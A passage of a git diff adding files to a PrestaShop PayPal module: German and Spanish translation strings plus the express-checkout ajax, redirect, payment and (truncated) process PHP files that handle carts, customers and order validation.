+$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Bestellsumme'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'PayPal-Zahlung'; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Sie haben PayPal für Ihre Zahlung gewählt.'; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Hier ist eine kurze Zusammenfassung Ihrer Bestellung:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'Der Gesamtbetrag Ihrer Bestellung beträgt'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = '(inkl. MwSt.)'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Wir akzeptieren die folgenden Währungen über PayPal:'; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Bitte bestätigen Sie Ihre Bestellung durch Klicken auf \"BESTELLEN\"'; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'BESTELLEN'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Bezahlen mit PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Bezahlen Sie mit Ihrem PayPal-Konto, Kreditkarte (CB, Visa, Mastercard ...), oder privaten Kreditkarte'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Bezahlen Sie mit Ihrem PayPal-Konto'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Bezahlen mit PayPal'; diff --git a/modules/paypal/es.php b/modules/paypal/es.php new file mode 100755 index 0000000..eb5c33c --- /dev/null +++ b/modules/paypal/es.php @@ -0,0 +1,90 @@ +paypal_abstract_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acepta pagos con tarjetas de débito y crédito (Visa, MasterCard, Amex, Aurora) con PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = '¿Está seguro de querer borrar los detalles?'; +$_MODULE['<{paypal}prestashop>paypal_abstract_32af90c3cfef1bacf43b0c3a8f60a4da'] = 'Se han recuperado los fondos'; +$_MODULE['<{paypal}prestashop>paypal_abstract_d238649ac5ec14afc894fad36c0b50fc'] = 'La solicitud de recuperación de fondos no se ha hecho correctamente, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_05b998de2c4fb46a7bdd37bd378b81d9'] = 'Se ha completado la validación, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_aeca7e93a1b3d77e38c3cffa131774d5'] = 'Se ha hecho un reintegro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_cba030a50c8a99c7e224adbe1cf58544'] = 'La solicitud de reintegro no se ha hecho correctamente, consulte el mensaje de registro.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_20fda49ece75d93bea97648ab1f1f1cf'] = 'Cancelar resultados de productos:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_e5d5d9f40763cfe6549bef705e3529a7'] = 'El mensaje de pago no es válido, compruebe su módulo.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_ee9dc1e678d54c517f481583c3fb2db8'] = 'Divisa incorrecta'; +$_MODULE['<{paypal}prestashop>paypal_abstract_eec39bf42bd135971fb2d838c67d1449'] = 'Resultado de la operación de reintegro:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_2ab62d1a578713d0862b56819295630e'] = 'Reintegro completado con PayPal.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_a64db959966ba8d07c8b5d9493fcc21f'] = 'Error de transacción.'; +$_MODULE['<{paypal}prestashop>paypal_abstract_67962779da962e3d4225055afc05e7bd'] = 'Resultado de la operación de captura:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_8778ee03f6592d5fec9a1f2ee851e476'] = 'Pedido completado con PayPal'; +$_MODULE['<{paypal}prestashop>paypal_abstract_672d40feac6437e49f771019bc330790'] = 'Estado de verificación:'; +$_MODULE['<{paypal}prestashop>paypal_abstract_1828820cc60e36b6f9fdf60cab103ed7'] = 'Actualmente está utilizando la dirección email PayPal por defecto, debe sustituirla por sus propia dirección'; +$_MODULE['<{paypal}prestashop>validation_20dfea1a472e5be3f15f6b5f36ca335c'] = ' Error de conexión con el servidor de PayPal. '; +$_MODULE['<{paypal}prestashop>validation_f7799c2ded739cf3c3e9babffc5f315b'] = 'Error de conexión con protocolo cURL. '; +$_MODULE['<{paypal}prestashop>validation_eca77e208634d52703b07672abbf16ec'] = 'Error de verificación (protocolo cURL) . Retroceso: '; +$_MODULE['<{paypal}prestashop>validation_8358ec19f397d4cdd632688d4f79e535'] = 'Error de verificación (protocolo fsockopen) . Retroceso: '; +$_MODULE['<{paypal}prestashop>validation_76ee8dc73701e846f7bccdf98dae079b'] = 'No hay protocolos de comunicación disponibles. '; +$_MODULE['<{paypal}prestashop>validation_bd0e34e5be6447844e6f262d51f1a9dc'] = 'Pago: '; +$_MODULE['<{paypal}prestashop>validation_e0395c4ce35d0b1e59ca3f2d5e260d23'] = 'El token proporcionado por PayPal no es el mismo que el del cookie'; +$_MODULE['<{paypal}prestashop>validation_765261b630ee773659fae89e9ad762f5'] = 'No se ha especificado la clave PayPal \'txn_id\', transacción no reconocida'; +$_MODULE['<{paypal}prestashop>validation_01634612f84d2b7ba56ccdf467e604b7'] = 'No se ha especificado la clave PayPal \'mc_currency\', divisa no reconocida'; +$_MODULE['<{paypal}prestashop>validation_e61f52d02b9f52fbe1fd41ed320e29c3'] = ' No se puede encontrar el carro de la compra'; +$_MODULE['<{paypal}prestashop>validation_0617900b1aff826081d07f5a3e2e7cd0'] = 'Ya se ha procesado el pedido'; +$_MODULE['<{paypal}prestashop>validation_f5209b3301a46f3057ffbf34d903e205'] = 'Id. de la transacción de PayPal: '; +$_MODULE['<{paypal}prestashop>validation_7b19e875ff64b09d80ee05dcc84b9975'] = 'No se ha podido verificar la transacción de PayPal. '; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Abrir una nueva conexión con'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Error de la conexión con el método cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'La conexión con el método cURL se ha desarrollado con éxito'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envío de parámetros:'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Error de envío con el método cURL. Error:'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envío con éxito con el método cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Error de la conexión con el método fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'La conexión con el método fsockopen se ha desarrollado con éxito'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Error de envío con el método fsockopen. Error:'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envío con éxito con el método fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = ' Respuesta de PayPal : '; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_ee9dc1e678d54c517f481583c3fb2db8'] = 'Divisa incorrecta'; +$_MODULE['<{paypal}prestashop>paypal_express_checkout_484f5a79672cebe198ebdde45a1d672f'] = 'Mensaje para regalo:'; +$_MODULE['<{paypal}prestashop>submit_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pago aceptado'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Pago aceptado'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = '¿Qué es PayPal?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal es el líder indiscutible de pagos por Internet: tiene más de 100 millones de cuentas repartidas en 190 países de todo el mundo. Es aceptado como forma de pago por muchos vendedores, tanto dentro como fuera de eBay. '; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = '¿Es un servicio seguro?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal protege sus datos financieros con los mejores sistemas de seguridad y prevención de fraude del mercado. PayPal nunca revela sus datos financieros al vendedor. '; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = '¿Por qué utilizar PayPal?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = ' Haga compras y envíe pagos con PayPal: es gratuito (consulte las condicio'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Registre sus datos en PayPal y compre con toda tranquilidad . '; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'Millones de vendedores de todo el mundo aceptan PayPal y es la forma de pago más utilizada en eBay. '; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = '¡Utilice PayPal ya!'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = ' El pedido de '; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = ' se ha guardado correctamente'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = ' Ha seleccionado PayPal como forma de pago'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = ' Le enviaremos el pedido lo antes posible'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = ' Si tiene dudas o necesita información adicional, póngase en contacto con nuestro'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = ' servicio de atención al cliente '; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Carrito de la compra'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_425551a2289ed60c9260933d1c45ef00'] = 'Compruebe los registros: '; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Anterior'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmación de pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Su ID de pedido es:'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Seguimiento de mi pedido'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Volver a pedidos'; +$_MODULE['<{paypal}prestashop>express_checkout_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a40cab5994f36d4c48103a22ca082e8f'] = 'Su cesta'; +$_MODULE['<{paypal}prestashop>payment_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>payment_f1d3b424cd68795ecaa552883759aceb'] = 'Resumen del pedido'; +$_MODULE['<{paypal}prestashop>payment_dd23adc5fb6bda9c384397b31e57fc53'] = 'Pago con PayPal '; +$_MODULE['<{paypal}prestashop>payment_62d74398cb6ebaa69ab7339052ca5c92'] = 'Ha elegido pagar con PayPal. '; +$_MODULE['<{paypal}prestashop>payment_c884ed19483d45970c5bf23a681e2dd2'] = 'Resumen de su pedido:'; +$_MODULE['<{paypal}prestashop>payment_e2867a925cba382f1436d1834bb52a1c'] = 'El importe total de su pedido asciende a'; +$_MODULE['<{paypal}prestashop>payment_1f87346a16cf80c372065de3c54c86d9'] = 'con IVA'; +$_MODULE['<{paypal}prestashop>payment_8ed356c32b198c9cb2abab7c3d262b93'] = 'Aceptamos esta divisa para el pago : '; +$_MODULE['<{paypal}prestashop>payment_0881a11f7af33bc1b43e437391129d66'] = 'Por favor, confirme su pedido pulsando en \"Confirmo mi pedido\"'; +$_MODULE['<{paypal}prestashop>payment_46b9e3665f187c739c55983f757ccda0'] = 'Confirmo mi pedido'; +$_MODULE['<{paypal}prestashop>payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; +$_MODULE['<{paypal}prestashop>payment_a3f2caee6ef8e68fbd26e42d83f2bf65'] = 'Pague con su cuenta PayPal, tarjeta de crédito (CB, Visa, Mastercard ...), o tarjeta de crédito privado'; +$_MODULE['<{paypal}prestashop>payment_b08008a2de4331ba13f006c9bcf37b62'] = 'Pague con su cuenta PayPal'; +$_MODULE['<{paypal}prestashop>paypal_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pagar con PayPal'; diff --git a/modules/paypal/express_checkout/ajax.php b/modules/paypal/express_checkout/ajax.php new file mode 100755 index 0000000..14904b5 --- /dev/null +++ b/modules/paypal/express_checkout/ajax.php @@ -0,0 +1,44 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); +include_once(dirname(__FILE__).'/../paypal.php'); + +// Ajax query +$quantity = Tools::getValue('get_qty'); + +if ($quantity && $quantity > 0) +{ + /* Ajax response */ + $id_product = (int)Tools::getValue('id_product'); + $id_product_attribute = (int)Tools::getValue('id_product_attribute'); + $product_quantity = Product::getQuantity($id_product, $id_product_attribute); + + if ($product_quantity > 0) + die('1'); +} +die('0'); diff --git a/modules/paypal/express_checkout/index.php b/modules/paypal/express_checkout/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/express_checkout/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/express_checkout/payment.php b/modules/paypal/express_checkout/payment.php new file mode 100755 index 0000000..3ba8c8e --- /dev/null +++ b/modules/paypal/express_checkout/payment.php @@ -0,0 +1,399 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +include_once(_PS_MODULE_DIR_.'paypal/express_checkout/process.php'); +include_once(_PS_MODULE_DIR_.'paypal/express_checkout/submit.php'); +include_once(_PS_MODULE_DIR_.'paypal/paypal_login/PayPalLoginUser.php'); + +/* Normal payment process */ +$id_cart = Tools::getValue('id_cart'); +$id_order = Tools::getValue('id_order'); +$id_module = Tools::getValue('id_module'); +$paypal_key = Tools::getValue('key'); + +if ($id_cart && $id_order && $id_module && $paypal_key) +{ + if (version_compare(_PS_VERSION_, '1.5', '<')) + new PayPalExpressCheckoutSubmit(); + return; +} + +$request_type = Tools::getValue('express_checkout'); +$ppec = new PaypalExpressCheckout($request_type); + +$token = Tools::getValue('token'); +$payer_id = Tools::getValue('PayerID'); + +function setContextData($ppec) +{ + // Create new Cart to avoid any refresh or other bad manipulations + $ppec->context->cart = new Cart(); + $ppec->context->cart->id_currency = (int)$ppec->context->currency->id; + $ppec->context->cart->id_lang = (int)$ppec->context->language->id; + + // Customer settings + $ppec->context->cart->id_guest = (int)$ppec->context->cookie->id_guest; + $ppec->context->cart->id_customer = (int)$ppec->context->customer->id; + + // Secure key information + $secure_key = isset($ppec->context->customer) ? $ppec->context->customer->secure_key : null; + $ppec->context->cart->secure_key = $secure_key; +} + +/** + * Set customer information + * Used to create user account with PayPal account information + */ +function setCustomerInformation($ppec, $email) +{ + $customer = new Customer(); + $customer->email = $email; + $customer->lastname = $ppec->result['LASTNAME']; + $customer->firstname = $ppec->result['FIRSTNAME']; + $customer->passwd = Tools::encrypt(Tools::passwdGen()); + return $customer; +} + + +/** + * Set customer address (when not logged in) + * Used to create user address with PayPal account information + */ +function setCustomerAddress($ppec, $customer, $id = null) +{ + $address = new Address($id); + $address->id_country = Country::getByIso($ppec->result['PAYMENTREQUEST_0_SHIPTOCOUNTRYCODE']); + if ($id == null) + $address->alias = 'Paypal_Address'; + + $address->lastname = $customer->lastname; + $address->firstname = $customer->firstname; + $address->address1 = $ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET']; + if (isset($ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET2'])) + $address->address2 = $ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET2']; + $address->city = $ppec->result['PAYMENTREQUEST_0_SHIPTOCITY']; + if (Country::containsStates($address->id_country)) + $address->id_state = (int)State::getIdByIso($ppec->result['PAYMENTREQUEST_0_SHIPTOSTATE'], $address->id_country); + $address->postcode = $ppec->result['PAYMENTREQUEST_0_SHIPTOZIP']; + if (isset($ppec->result['PAYMENTREQUEST_0_SHIPTOPHONENUM'])) + $address->phone = $ppec->result['PAYMENTREQUEST_0_SHIPTOPHONENUM']; + $address->id_customer = $customer->id; + return $address; +} +if ($request_type && $ppec->type) +{ + $id_product = (int)Tools::getValue('id_product'); + $product_quantity = (int)Tools::getValue('quantity'); + $id_product_attribute = Tools::getValue('id_p_attr'); + + if (($id_product > 0) && $id_product_attribute !== false && ($product_quantity > 0)) + { + setContextData($ppec); + + if (!$ppec->context->cart->add()) + { + $ppec->logs[] = $ppec->l('Cannot create new cart'); + $display = (_PS_VERSION_ < '1.5') ? new BWDisplay() : new FrontController(); + + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + 'use_mobile' => (bool)$ppec->useMobile() + )); + + $template = 'error.tpl'; + } + else + $ppec->context->cookie->id_cart = (int)$ppec->context->cart->id; + + $ppec->context->cart->updateQty((int)$product_quantity, (int)$id_product, (int)$id_product_attribute); + $ppec->context->cart->update(); + } + + $login_user = PaypalLoginUser::getByIdCustomer((int)$ppec->context->customer->id); + + if ($login_user && $login_user->expires_in <= time()) + { + $obj = new PayPalLogin(); + $login_user = $obj->getRefreshToken(); + } + + /* Set details for a payment */ + $ppec->setExpressCheckout(($login_user ? $login_user->access_token : false)); + + if ($ppec->hasSucceedRequest() && !empty($ppec->token)) + $ppec->redirectToAPI(); + /* Display Error and die with this method */ + else + $ppec->displayPayPalAPIError($ppec->l('Error during the preparation of the Express Checkout payment'), $ppec->logs); +} +//If a token exist with payer_id, then we are back from the PayPal API +elseif (!empty($ppec->token) && ($ppec->token == $token) && ($ppec->payer_id = $payer_id)) +{ + /* Get payment infos from paypal */ + $ppec->getExpressCheckout(); + + if ($ppec->hasSucceedRequest() && !empty($ppec->token)) + { + $address = $customer = null; + $email = $ppec->result['EMAIL']; + + /* Create Customer if not exist with address etc */ + if ($ppec->context->cookie->logged) + { + $id_customer = Paypal::getPayPalCustomerIdByEmail($email); + if (!$id_customer) + PayPal::addPayPalCustomer($ppec->context->customer->id, $email); + $customer = $ppec->context->customer; + } + elseif ($id_customer = Customer::customerExists($email, true)) + $customer = new Customer($id_customer); + else + { + $customer = setCustomerInformation($ppec, $email); + $customer->add(); + + PayPal::addPayPalCustomer($customer->id, $email); + } + + if (!$customer->id) + $ppec->logs[] = $ppec->l('Cannot create customer'); + + if (!isset($ppec->result['PAYMENTREQUEST_0_SHIPTOSTREET']) || !isset($ppec->result['PAYMENTREQUEST_0_SHIPTOCITY']) + || !isset($ppec->result['SHIPTOZIP']) || !isset($ppec->result['COUNTRYCODE'])) + $ppec->redirectToCheckout($customer, ($ppec->type != 'payment_cart')); + + $addresses = $customer->getAddresses($ppec->context->language->id); + foreach ($addresses as $address) + if ($address['alias'] == 'Paypal_Address') + {//If address has already been created + $address = new Address($address['id_address']); + break; + } + + /* Create address */ + if (is_array($address) && isset($address['id_address'])) + $address = new Address($address['id_address']); + + if ((!$address || !$address->id) && $customer->id) + {//If address does not exists, we create it + $address = setCustomerAddress($ppec, $customer); + $address->add(); + } + else if ($customer->id) + {//If address exists, we update it with new informations + $address = setCustomerAddress($ppec, $customer, $address->id); + $address->save(); + } + + if ($customer->id && !$address->id) + $ppec->logs[] = $ppec->l('Cannot create Address'); + + /* Create Order */ + if ($customer->id && $address->id) + { + $ppec->context->cart->id_customer = $customer->id; + $ppec->context->cart->id_guest = $ppec->context->cookie->id_guest; + + if (!$ppec->context->cart->update()) + $ppec->logs[] = $ppec->l('Cannot update existing cart'); + else + { + $payment_cart = (bool)($ppec->type != 'payment_cart'); + $ppec->redirectToCheckout($customer, $payment_cart); + } + } + } +} +/** + * Check payment return + */ +function validateOrder($customer, $cart, $ppec) +{ + $amount_match = $ppec->rightPaymentProcess(); + $order_total = (float)$cart->getOrderTotal(true, Cart::BOTH); + + // Payment succeed + if ($ppec->hasSucceedRequest() && !empty($ppec->token) && $amount_match) + { + if ((bool)Configuration::get('PAYPAL_CAPTURE')) + { + $payment_type = (int)Configuration::get('PS_OS_WS_PAYMENT'); + $payment_status = 'Pending_capture'; + $message = $ppec->l('Pending payment capture.').'
        '; + } + else + { + if (isset($ppec->result['PAYMENTINFO_0_PAYMENTSTATUS'])) + $payment_status = $ppec->result['PAYMENTINFO_0_PAYMENTSTATUS']; + else + $payment_status = 'Error'; + + if (strcmp($payment_status, 'Completed') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYMENT'); + $message = $ppec->l('Payment accepted.').'
        '; + } + elseif (strcmp($payment_status, 'Pending') === 0) + { + $payment_type = (int)Configuration::get('PS_OS_PAYPAL'); + $message = $ppec->l('Pending payment confirmation.').'
        '; + } + } + } + // Payment error + else + { + //Check if error is 10486, if it is redirect user to paypal + if ($ppec->result['L_ERRORCODE0'] == 10486) + $ppec->redirectToAPI(); + + $payment_status = $ppec->result['PAYMENTINFO_0_PAYMENTSTATUS']; + $payment_type = (int)Configuration::get('PS_OS_ERROR'); + + if ($amount_match) + $message = implode('
        ', $ppec->logs).'
        '; + else + $message = $ppec->l('Price paid on paypal is not the same that on PrestaShop.').'
        '; + } + + $transaction = PayPalOrder::getTransactionDetails($ppec, $payment_status); + $ppec->context->cookie->id_cart = $cart->id; + + $ppec->validateOrder((int)$cart->id, $payment_type, $order_total, $ppec->displayName, $message, $transaction, + (int)$cart->id_currency, false, $customer->secure_key, $ppec->context->shop); +} + +/* If Previous steps succeed, ready (means 'ready to pay') will be set to true */ +if ($ppec->ready && !empty($ppec->token) && (Tools::isSubmit('confirmation') || $ppec->type == 'payment_cart')) +{ + /* Check modification on the product cart / quantity */ + if ($ppec->isProductsListStillRight()) + { + $cart = $ppec->context->cart; + $customer = new Customer((int)$cart->id_customer); + + // When all information are checked before, we can validate the payment to paypal + // and create the prestashop order + $ppec->doExpressCheckout(); + + validateOrder($customer, $cart, $ppec); + + unset($ppec->context->cookie->{PaypalExpressCheckout::$cookie_name}); + + if (!$ppec->currentOrder) + $ppec->logs[] = $ppec->l('Cannot create order'); + else + { + $id_order = (int)$ppec->currentOrder; + $order = new Order($id_order); + } + + /* Check payment details to display the appropriate content */ + if (isset($order) && ($ppec->result['ACK'] != "Failure")) + { + $values = array( + 'key' => $customer->secure_key, + 'id_module' => (int)$ppec->id, + 'id_cart' => (int)$cart->id, + 'id_order' => (int)$ppec->currentOrder + ); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + { + $query = http_build_query($values, '', '&'); + Tools::redirectLink(_MODULE_DIR_.$ppec->name.'/express_checkout/payment.php?'.$query); + } + else + { + $link = $ppec->context->link->getModuleLink('paypal', 'submit', $values); + Tools::redirect($link); + } + } + elseif ($ppec->result['ACK'] != 'Failure') + { + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + )); + + $template = 'error.tpl'; + } + } + else + { + /* If Cart changed, no need to keep the paypal data */ + unset($ppec->context->cookie->{PaypalExpressCheckout::$cookie_name}); + $ppec->logs[] = $ppec->l('Cart changed since the last checkout express, please make a new Paypal checkout payment'); + } +} + +$display = (_PS_VERSION_ < '1.5') ? new BWDisplay() : new FrontController(); +$payment_confirmation = Tools::getValue('get_confirmation'); + +/* Display payment confirmation */ +if ($ppec->ready && $payment_confirmation && (_PS_VERSION_ < '1.5')) +{ + $shop_domain = PayPal::getShopDomainSsl(true, true); + $form_action = $shop_domain._MODULE_DIR_.$ppec->name.'/express_checkout/payment.php'; + $order_total = $ppec->context->cart->getOrderTotal(true); + $currency = new Currency((int)$ppec->context->cart->id_currency); + + $ppec->context->smarty->assign(array( + 'form_action' => $form_action, + 'total' => Tools::displayPrice($order_total, $currency), + 'logos' => $ppec->paypal_logos->getLogos(), + )); + + $template = 'order-summary.tpl'; +} +/* Display result if error occurred */ +else +{ + if (!$ppec->context->cart->id) + { + $ppec->context->cart->delete(); + $ppec->logs[] = $ppec->l('Your cart is empty.'); + } + $ppec->context->smarty->assign(array( + 'logs' => $ppec->logs, + 'message' => $ppec->l('Error occurred:'), + )); + + $template = 'error.tpl'; +} + +/** + * Detect if we are using mobile or not + * Check the 'ps_mobile_site' parameter. + */ +$ppec->context->smarty->assign('use_mobile', (bool)$ppec->useMobile()); + +$display->setTemplate(_PS_MODULE_DIR_.'paypal/views/templates/front/'.$template); +$display->run(); diff --git a/modules/paypal/express_checkout/process.php b/modules/paypal/express_checkout/process.php new file mode 100755 index 0000000..50235a1 --- /dev/null +++ b/modules/paypal/express_checkout/process.php @@ -0,0 +1,523 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(_PS_MODULE_DIR_.'paypal/paypal.php'); +include_once(_PS_MODULE_DIR_.'paypal/api/paypal_lib.php'); + +class PaypalExpressCheckout extends Paypal +{ + public $logs = array(); + + public $method_version = '106'; + + public $method; + + /** @var currency Currency used for the payment process **/ + public $currency; + + /** @var decimals Used to set prices precision **/ + public $decimals; + + /** @var result Contains the last request result **/ + public $result; + + /** @var token Contains the last token **/ + public $token; + + /* Depending of the type set, id_cart or id_product will be set */ + public $id_cart; + + // Depending of the type set, id_cart or id_product will be set + public $id_product; + + public $id_p_attr; + + public $quantity; + + public $payer_id; + + public $available_type = array('cart', 'product', 'payment_cart'); + + public $total_different_product; + + public $product_list = array(); + + /* Used to know if user can validated his payment after shipping / address selection */ + public $ready = false; + + /* Take for now cart or product value */ + public $type = false; + + static public $cookie_name = 'express_checkout'; + + public $cookie_key = array( + 'token', 'id_product', 'id_p_attr', + 'quantity', 'type', 'total_different_product', + 'secure_key', 'ready', 'payer_id' + ); + + public function __construct($type = false) + { + parent::__construct(); + + // If type is sent, the cookie has to be delete + if ($type) + { + unset($this->context->cookie->{self::$cookie_name}); + $this->setExpressCheckoutType($type); + } + + // Store back the PayPal data if present under the cookie + if (isset($this->context->cookie->{self::$cookie_name})) + { + $paypal = unserialize($this->context->cookie->{self::$cookie_name}); + + foreach ($this->cookie_key as $key) + $this->{$key} = $paypal[$key]; + } + + $this->currency = new Currency((int)$this->context->cart->id_currency); + + if (!Validate::isLoadedObject($this->currency)) + $this->_errors[] = $this->l('Not a valid currency'); + + if (count($this->_errors)) + return false; + + $currency_decimals = is_array($this->currency) ? (int)$this->currency['decimals'] : (int)$this->currency->decimals; + $this->decimals = $currency_decimals * _PS_PRICE_DISPLAY_PRECISION_; + } + + // Will build the product_list depending of the type + private function initParameters() + { + if (!$this->context->cart || !$this->context->cart->id) + return false; + + $cart_currency = new Currency((int)$this->context->cart->id_currency); + $currency_module = $this->getCurrency((int)$this->context->cart->id_currency); + + if ($cart_currency !== $currency_module) + { + $this->context->cart->id_currency = $currency_module->id; + $this->context->cart->update(); + } + + $this->context->currency = $currency_module; + $this->product_list = $this->context->cart->getProducts(); + return (bool)count($this->product_list); + } + + public function setExpressCheckout($access_token = false) + { + $this->method = 'SetExpressCheckout'; + $this->setCancelUrl($fields); + + // Only this call need to get the value from the $_GET / $_POST array + if (!$this->initParameters(true) || !$fields['CANCELURL']) + return false; + + // Set payment detail (reference) + $this->_setPaymentDetails($fields); + $fields['SOLUTIONTYPE'] = 'Sole'; + $fields['LANDINGPAGE'] = 'Login'; + + // Seller informations + $fields['USER'] = Configuration::get('PAYPAL_API_USER'); + $fields['PWD'] = 